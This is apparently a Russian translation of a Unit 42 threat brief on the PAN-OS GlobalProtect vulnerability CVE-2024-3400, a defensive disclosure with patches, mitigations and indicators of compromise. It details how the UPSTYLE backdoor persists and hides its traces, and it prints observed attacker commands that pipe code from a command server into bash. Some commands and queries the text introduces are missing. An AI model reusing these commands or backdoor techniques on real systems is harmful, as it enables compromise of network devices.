Управляющее резюме
Palo Alto Networks и Unit 42 занимаются отслеживанием деятельности, связанной с CVE-2024-3400, и работают с внешними исследователями, партнерами и клиентами для прозрачного и быстрого обмена информацией.Критическая уязвимость внедрения команд в программном обеспечении PAN-OS Palo Alto Networks позволяет неаутентифицированному злоумышленнику выполнить произвольный код с правами root на брандмауэре. Уязвимость, присвоенная CVE-2024-3400, имеет рейтинг CVSS 10,0.
Эта проблема применима только к брандмауэрам PAN-OS 10.2, PAN-OS 11.0 и PAN-OS 11.1, настроенным со шлюзом GlobalProtect или порталом GlobalProtect (или обоими) и включенной телеметрией устройства. Эта проблема не затрагивает облачные брандмауэры (Cloud NGFW), устройства Panorama или Prisma Access. Актуальную информацию о затронутых продуктах и версиях можно найти в рекомендациях по безопасности Palo Alto Networks по этому вопросу.
Palo Alto Networks известно о злонамеренном использовании этой проблемы. Мы отслеживаем первоначальную эксплуатацию этой уязвимости под названием Operation MidnightEclipse. По нашим оценкам, в будущем дополнительные злоумышленники могут попытаться воспользоваться этой возможностью.
В этом обзоре угроз будет представлена информация об уязвимости и то, что мы знаем о ее последующей эксплуатации. Мы поделимся временными рекомендациями по устранению уязвимости, хотя читателям также следует обратиться к рекомендациям по безопасности для получения информации о конкретной версии продукта и рекомендаций по устранению уязвимости. Мы продолжим обновлять этот обзор угроз по мере поступления дополнительной информации.
Если вы считаете, что ваш брандмауэр взломан, обратитесь в службу поддержки Palo Alto Networks .
Эта проблема исправлена в выпусках исправлений PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3 и всех более поздних версий PAN-OS. Также будут доступны исправления для других часто используемых выпусков обслуживания. Ознакомьтесь с рекомендациями по безопасности Palo Alto Networks для ETA о предстоящих исправлениях.
В соответствии с передовой практикой компания Palo Alto Networks рекомендует отслеживать вашу сеть на предмет аномальной активности и расследовать любую непредвиденную сетевую активность.
Мы хотели бы поблагодарить Volexity за обнаружение этой проблемы и их постоянную координацию и партнерство. Пожалуйста, обратитесь к блогу Volexity для их анализа.
Клиенты Palo Alto Networks получают средства защиты и смягчения последствий CVE-2024-3400 и вредоносных программ, используемых в действиях после эксплуатации, следующими способами:
Palo Alto Networks рекомендует клиентам с подпиской на предотвращение угроз блокировать атаки для этой уязвимости, включив идентификатор угрозы 95187 ( доступен в разделе «Приложения и угрозы» версии 8833-8682 и более поздних версий ). Чтобы применить идентификатор угрозы 95187, клиенты должны убедиться, что к их интерфейсу GlobalProtect применена защита от уязвимостей, чтобы предотвратить использование этой проблемы на их устройстве.
Помимо включения идентификатора угрозы 95187, клиенты должны убедиться, что к их интерфейсу GlobalProtect применена защита от уязвимостей, чтобы предотвратить использование этой проблемы на их устройстве. Дополнительную информацию можно найти в соответствующей статье LIVEcommunity .
Если в настоящее время вы не можете применить меры по предотвращению угроз, вы все равно можете смягчить воздействие этой уязвимости, временно отключив телеметрию устройства до тех пор, пока устройство не будет обновлено до фиксированной версии PAN-OS. После обновления телеметрию устройства следует снова включить на устройстве. Если брандмауэрами управляет Panorama, убедитесь, что телеметрия устройства отключена в соответствующих шаблонах.
В разделе «Управляемый поиск угроз» ниже представлены запросы XQL, которые можно использовать для поиска признаков использования этой CVE.
Группа реагирования на инциденты Unit 42 также может быть привлечена для помощи в поиске компромисса или для проведения упреждающей оценки для снижения вашего риска.
| Обсуждаются уязвимости | CVE-2024-3400 |
Оглавление
Подробности об уязвимости
Уязвимость внедрения команд в программном обеспечении PAN-OS Palo Alto Networks позволяет неаутентифицированному злоумышленнику выполнить произвольный код с правами root на брандмауэре. Эта проблема применима только к брандмауэрам PAN-OS 10.2, PAN-OS 11.0 и PAN-OS 11.1, в которых настроен шлюз GlobalProtect или портал GlobalProtect (или оба) и включена телеметрия устройства.Вы можете проверить, настроены ли у вас эти функции, проверив записи в веб-интерфейсе брандмауэра. В наших рекомендациях по безопасности есть ссылка на дополнительные инструкции о том, как временно отключить телеметрию устройства .
Palo Alto Networks известно о целевых атаках, использующих эту уязвимость. В следующем разделе описываются подробности наблюдаемой нами деятельности после эксплуатации.
Текущий масштаб атаки
В рамках активности, наблюдаемой в операции MidnightEclipse, после эксплуатации злоумышленник создал задание cron, которое запускалось каждую минуту для доступа к командам, размещенным на внешнем сервере, которые выполнялись через bash, как показано в следующей команде:Нам не удалось получить доступ к командам, выполняемым по этому URL-адресу. Однако мы считаем, что этот URL-адрес использовался для развертывания второго бэкдора на основе Python, который наши коллеги из Volexity назвали UPSTYLE.
Бэкдор UPSTYLE, загруженный на брандмауэр, размещался по адресу hxxp://144.172.79[.]92/update.py , но мы видели аналогичный бэкдор, размещенный по адресу nhdata.s3-us-west-2.amazonaws[.]com . Судя по заголовкам HTTP, последний раз злоумышленник изменял его 7 апреля 2024 года.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 | Accept-Ranges: bytes Content-Length: 5187 Content-Type: application/octet-stream Date: Thu, 11 Apr 2024 16:12:16 GMT Etag: "6612443d-1443" Last-Modified: Sun, 07 Apr 2024 06:59:09 GMT Server: nginx/1.18.0 (Ubuntu) |
Сначала update.py записывает еще один скрипт Python в следующее место:
Сценарий Python, записанный в system.pth Base64, декодирует встроенный сценарий Python и выполняет его. Этот встроенный скрипт Python имеет две функции с именами Protect и Check, которые вызываются в указанном порядке. Функция защиты отправляет сигнал SIGTERM и записывает содержимое файла system.pth обратно в себя, вероятно, в качестве механизма сохранения. Функция проверки прочитает /proc/self/cmdline, чтобы проверить, работает ли он как монитор mp, прежде чем запускать другой встроенный скрипт Python в Base64, который является функциональным бэкдором.
Сценарий Python, запускаемый system.pth, имеет функцию с именем __main , которая будет выполняться в потоке. Эта функция сначала считывает содержимое следующего файла, а также время его доступа и изменения:
Затем он входит в бесконечный цикл, который повторяется каждые две секунды и считывает следующий файл:
Затем сценарий будет перебирать каждую строку файла и искать в ней команду злоумышленника, используя следующее регулярное выражение:
Если приведенное выше регулярное выражение соответствует, сценарий закодирует содержимое команды в Base64 и запустит ее с помощью метода popen в модуле ОС Python. Строки файла sslvpn_ngx_error.log , которые не соответствуют регулярному выражению, записываются обратно в файл, что по сути исключает сохранение строк, содержащих команды, в файле sslvpn_ngx_error.log для последующего анализа.
После выполнения команды сценарий записывает выходные данные команды в следующий файл:
Затем сценарий создаст еще один поток, который запустит функцию восстановления . Функция восстановления берет исходное содержимое файла bootstrap.min.css , а также исходное время доступа и изменения, приостанавливается на 15 секунд, записывает исходное содержимое обратно в файл и устанавливает исходное время доступа и изменения . Цель этой функции — не оставлять выходные данные команд доступными для анализа. Кроме того, это говорит о том, что злоумышленник имеет автоматизацию, встроенную в клиентскую часть этого бэкдора, поскольку у него есть всего 15 секунд, чтобы получить результаты, прежде чем бэкдор перезапишет файл.
Используя первоначальный бэкдор в crontab, мы имеем доказательства нескольких команд, которые злоумышленник запускал на брандмауэре. Команды включают копирование файлов конфигурации в папку веб-приложения и их фильтрацию через HTTP-запросы к этим файлам. Следующий IP-адрес был замечен при попытке доступа к определенному файлу конфигурации, скопированному в эту папку, который, как мы полагаем, является VPN, используемой злоумышленником:
Мы также заметили, что злоумышленник запускает другую команду для получения команд с немного другого URL-адреса, чем бэкдор cronjob:
Наконец, злоумышленник навел порядок, удалив все файлы, связанные с бэкдорами, и очистив их задания cron.
Временное руководство
Эта проблема исправлена в выпусках исправлений PAN-OS 10.2.9-h1, PAN-OS 11.0.4-h1, PAN-OS 11.1.2-h3 и всех более поздних версий PAN-OS. Также будут доступны исправления для других часто используемых выпусков обслуживания.Ознакомьтесь с рекомендациями по безопасности Palo Alto Networks по CVE-2024-3400, чтобы узнать ETA о предстоящих исправлениях и самые последние временные рекомендации по устранению этой уязвимости.
Глава 42. Управляемые запросы по поиску угроз
Команда Unit 42 Managed Threat Hunting продолжает отслеживать любые попытки использования этой CVE среди наших клиентов, используя Cortex XDR и запросы XQL, приведенные ниже. Клиенты Cortex XDR также могут использовать эти запросы XQL для поиска признаков эксплуатации.Заключение
В рекомендациях по безопасности будет по-прежнему предоставляться актуальная информация о воздействии на продукты Palo Alto Networks и рекомендуемых мерах по смягчению последствий. Мы продолжим обновлять этот обзор угроз информацией об эксплуатации.Еще раз компания Palo Alto Networks хотела бы поблагодарить Volexity за обнаружение этой проблемы, а также за их постоянную координацию и партнерство. Пожалуйста, обратитесь к блогу Volexity для их анализа.
Palo Alto Networks поделилась своими выводами с другими членами Cyber Threat Alliance (CTA). Члены CTA используют эту информацию для быстрого развертывания средств защиты своих клиентов и систематического противодействия злонамеренным киберпреступникам. Узнайте больше об Альянсе по киберугрозам .
Меры защиты и смягчения последствий наблюдаемой эксплуатации приведены ниже и будут обновляться по мере появления новых.
Средства защиты продуктов Palo Alto Networks от CVE-2024-3400
Клиенты Palo Alto Networks могут использовать различные средства защиты и обновления продуктов для выявления и защиты от этой угрозы.Если вы считаете, что вас взломали или у вас срочный вопрос, свяжитесь с командой реагирования на инциденты Блока 42 или позвоните:
- Бесплатный звонок в Северной Америке: 866.486.4842 (866.4.UNIT42).
- Европа, Ближний Восток и Африка: +31.20.299.3130
- Азиатско-Тихоокеанский регион: +65.6983.8730
- Япония: +81.50.1790.0200
Межсетевые экраны нового поколения и доступ к Prisma с улучшенной защитой от угроз
Брандмауэр следующего поколения с подпиской на безопасность Advanced Threat Prevention может помочь заблокировать использование CVE-2024-3400 с помощью сигнатуры Threat Prevention: 95187 .Cortex XDR, XSIAM и агент Unified Cloud
Агенты и средства аналитики Cortex XDR и XSIAM помогают защитить и обнаружить действия после эксплуатации, если злоумышленник пытается перебрать или перейти к другим активам.Модуль Cortex Xpanse и XSIAM ASM
Cortex Xpanse имеет возможность идентифицировать уязвимые устройства Palo Alto Networks GlobalProtect в общедоступном Интернете и передавать эти данные защитникам. Клиенты могут включить оповещение об этом риске, убедившись, что правило поверхности атаки Palo Alto Networks GlobalProtect включено. Выявленные результаты можно просмотреть либо в Центре реагирования на угрозы, либо в представлении инцидентов Expander. Эти результаты также доступны для клиентов Cortex XSIAM, которые приобрели модуль ASM.Индикаторы компрометации
УПСТАЙЛ Бэкдор
- Обновление.py
- 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac
- 5460b51da26c060727d128f3b3d6415d1a4c25af6a29fef4cc6b867ad3659078
Инфраструктура управления и контроля
- 172.233.228[.]93
- hxxp://172.233.228[.]93/policy
- hxxp://172.233.228[.]93/патч
- 66.235.168[.]222
Хостинговый бэкдор Python
- 144.172.79[.]92
- nhdata.s3-us-west-2.amazonaws[.]com
Наблюдаемые команды
- wget -qO- hxxp://172.233.228[.]93/patch|bash
- wget -qO- hxxp://172.233.228[.]93/policy | Баш
Дополнительные ресурсы
- CVE-2024-3400 PAN-OS: уязвимость внедрения команд ОС в шлюз GlobalProtect – Palo Alto Networks
- Эксплуатация нулевого дня уязвимости удаленного выполнения кода без аутентификации в GlobalProtect (CVE-2024-3400) – Volexity
- Palo Alto Networks выпускает руководство по уязвимости в PAN-OS, CVE-2024-3400 – Агентство кибербезопасности и безопасности инфраструктуры (CISA)
Обновлено 12 апреля 2024 г. в 12:45 по тихоокеанскому времени для добавления средств защиты продуктов Cortex Xpanse.
Обновлено 14 апреля 2024 г. в 11:05 по тихоокеанскому времени для разъяснения влияния на конфигурации портала GlobalProtect.
Обновлено 14 апреля 2024 г. в 19:55 по тихоокеанскому времени, чтобы отразить наличие исправлений и добавление ETA в наши рекомендации по безопасности для предстоящих исправлений.
Обновлено 15 апреля 2024 г. в 8:35 по тихоокеанскому времени для обновления информации об эксплуатационной активности в сводной информации.
Обновлено 15 апреля 2024 г. в 9:16 по тихоокеанскому времени для обновления формулировки идентификатора угрозы 95187 в сводном описании, включая информацию о межсетевых экранах, управляемых Panorama.